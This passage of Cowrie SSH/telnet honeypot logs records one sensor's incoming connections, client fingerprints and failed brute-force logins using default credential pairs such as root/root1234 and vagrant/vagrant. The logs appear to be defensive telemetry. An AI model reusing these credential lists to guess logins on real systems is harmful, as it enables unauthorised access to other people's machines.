0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:10.234492Z","src_ip":"192.109.200.237","session":"6acd68812ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:10.480701Z","src_ip":"192.109.200.237","session":"6acd68812ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40100,"dst_ip":"159.203.135.109","dst_port":22,"session":"88e0530e723b","protocol":"ssh","message":"New connection: 80.94.92.184:40100 (159.203.135.109:22) [session: 88e0530e723b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:11.259259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:11.433615Z","src_ip":"80.94.92.184","session":"88e0530e723b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:11.437648Z","src_ip":"80.94.92.184","session":"88e0530e723b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:11.566331Z","src_ip":"192.109.200.237","session":"6acd68812ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:12.950267Z","src_ip":"80.94.92.184","session":"88e0530e723b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42970,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7efb4811646","protocol":"ssh","message":"New connection: 192.109.200.237:42970 (159.203.135.109:22) [session: a7efb4811646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:13.289505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:13.317277Z","src_ip":"192.109.200.237","session":"a7efb4811646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:13.467664Z","src_ip":"192.109.200.237","session":"a7efb4811646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:13.716505Z","src_ip":"192.109.200.237","session":"a7efb4811646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:14.164944Z","src_ip":"80.94.92.184","session":"88e0530e723b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:14.802578Z","src_ip":"192.109.200.237","session":"a7efb4811646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.860788345336914,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:15.127458Z","src_ip":"134.236.77.28","session":"f3446f6612c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42984,"dst_ip":"159.203.135.109","dst_port":22,"session":"34c0c5708718","protocol":"ssh","message":"New connection: 192.109.200.237:42984 (159.203.135.109:22) [session: 34c0c5708718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:16.602670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:16.607339Z","src_ip":"192.109.200.237","session":"34c0c5708718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:16.692304Z","src_ip":"192.109.200.237","session":"34c0c5708718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:16.937212Z","src_ip":"192.109.200.237","session":"34c0c5708718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:18.023757Z","src_ip":"192.109.200.237","session":"34c0c5708718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43006,"dst_ip":"159.203.135.109","dst_port":22,"session":"e553a0f82b16","protocol":"ssh","message":"New connection: 192.109.200.237:43006 (159.203.135.109:22) [session: e553a0f82b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:19.791456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:19.795891Z","src_ip":"192.109.200.237","session":"e553a0f82b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:19.879181Z","src_ip":"192.109.200.237","session":"e553a0f82b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:20.130277Z","src_ip":"192.109.200.237","session":"e553a0f82b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:21.328511Z","src_ip":"192.109.200.237","session":"e553a0f82b16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.132.28","src_port":36822,"dst_ip":"159.203.135.109","dst_port":23,"session":"e41800e251f0","protocol":"telnet","message":"New connection: 152.32.132.28:36822 (159.203.135.109:23) [session: e41800e251f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:22.007194Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46032,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e54aca3d843","protocol":"ssh","message":"New connection: 192.109.200.237:46032 (159.203.135.109:22) [session: 8e54aca3d843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:22.986272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:22.989898Z","src_ip":"192.109.200.237","session":"8e54aca3d843","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:23.071651Z","src_ip":"192.109.200.237","session":"8e54aca3d843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:23.323049Z","src_ip":"192.109.200.237","session":"8e54aca3d843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:24.408120Z","src_ip":"192.109.200.237","session":"8e54aca3d843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46042,"dst_ip":"159.203.135.109","dst_port":22,"session":"59d72ba271b5","protocol":"ssh","message":"New connection: 192.109.200.237:46042 (159.203.135.109:22) [session: 59d72ba271b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:26.306964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:26.311040Z","src_ip":"192.109.200.237","session":"59d72ba271b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:26.393157Z","src_ip":"192.109.200.237","session":"59d72ba271b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:26.639434Z","src_ip":"192.109.200.237","session":"59d72ba271b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:27.724733Z","src_ip":"192.109.200.237","session":"59d72ba271b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46064,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e9d5906283c","protocol":"ssh","message":"New connection: 192.109.200.237:46064 (159.203.135.109:22) [session: 6e9d5906283c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:29.572898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:29.576983Z","src_ip":"192.109.200.237","session":"6e9d5906283c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:29.659735Z","src_ip":"192.109.200.237","session":"6e9d5906283c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:29.905934Z","src_ip":"192.109.200.237","session":"6e9d5906283c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:31.054639Z","src_ip":"192.109.200.237","session":"6e9d5906283c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43160,"dst_ip":"159.203.135.109","dst_port":22,"session":"66b34d45ed3e","protocol":"ssh","message":"New connection: 192.109.200.237:43160 (159.203.135.109:22) [session: 66b34d45ed3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:32.772685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:32.777470Z","src_ip":"192.109.200.237","session":"66b34d45ed3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:32.859846Z","src_ip":"192.109.200.237","session":"66b34d45ed3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:33.105556Z","src_ip":"192.109.200.237","session":"66b34d45ed3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:34.191185Z","src_ip":"192.109.200.237","session":"66b34d45ed3e","protocol":"ssh"}
